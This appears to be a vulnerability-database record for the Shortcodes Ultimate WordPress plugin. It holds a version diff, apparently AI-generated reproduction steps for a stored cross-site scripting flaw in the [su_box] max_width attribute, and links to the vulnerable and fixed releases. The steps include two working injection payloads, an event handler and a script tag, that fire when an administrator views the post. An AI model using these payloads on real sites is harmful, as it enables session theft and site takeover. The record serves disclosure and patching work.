\u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fshortcodes-ultimate.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.4.9\u002Fshortcodes-ultimate.php\t2026-02-02 16:19:34.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fshortcodes-ultimate\u002F7.5.0\u002Fshortcodes-ultimate.php\t2026-03-23 19:21:32.000000000 +0000\n@@ -8,7 +8,7 @@\n  * Description: A comprehensive collection of visual components for WordPress\n  * Text Domain: shortcodes-ultimate\n  * License: GPLv3\n- * Version: 7.4.9\n+ * Version: 7.5.0\n  * Requires PHP: 5.4\n  * Requires at least: 5.0\n  * Tested up to: 6.9\n@@ -51,6 +51,7 @@\n                             'localhost' => true,\n                         ),\n                         'is_live'           => true,\n+                        'is_org_compliant'  => true,\n                     ) );\n                 }\n                 return $su_fs;\n@@ -63,6 +64,6 @@\n         }\n     }\n     define( 'SU_PLUGIN_FILE', __FILE__ );\n-    define( 'SU_PLUGIN_VERSION', '7.4.9' );\n+    define( 'SU_PLUGIN_VERSION', '7.5.0' );\n     require_once dirname( __FILE__ ) . '\u002Fplugin.php';\n }\n\\ No newline at end of file\n","1. Authenticate as a Contributor or any role with the ability to create or edit posts.\n2. Create a new post and insert the [su_box] shortcode.\n3. Supply a payload to the 'max_width' attribute that closes the style attribute and adds an event handler, for example: [su_box max_width='600px;\" onmouseover=\"alert(document.domain)\"']Hover here[\u002Fsu_box].\n4. Alternatively, use a payload that closes the style attribute and the opening div tag to inject a script tag: [su_box max_width='600px;\">\u003C\u002Fstyle>\u003Cscript>alert(1)\u003C\u002Fscript>\u003Cstyle>\"'].\n5. Save or publish the post.\n6. View the post as a different user (e.g., an Administrator). The JavaScript executes when the event is triggered (e.g., on mouseover).","gemini-3-flash-preview","2026-04-17 22:00:54","2026-04-17 22:01:44",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","7.4.9","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fshortcodes-ultimate\u002Ftags\u002F7.4.9","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fshortcodes-ultimate.7.4.9.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fshortcodes-ultimate\u002Ftags\u002F7.5.0","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fshortcodes-ultimate.7.5.0.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fshortcodes-ultimate\u002Ftags"]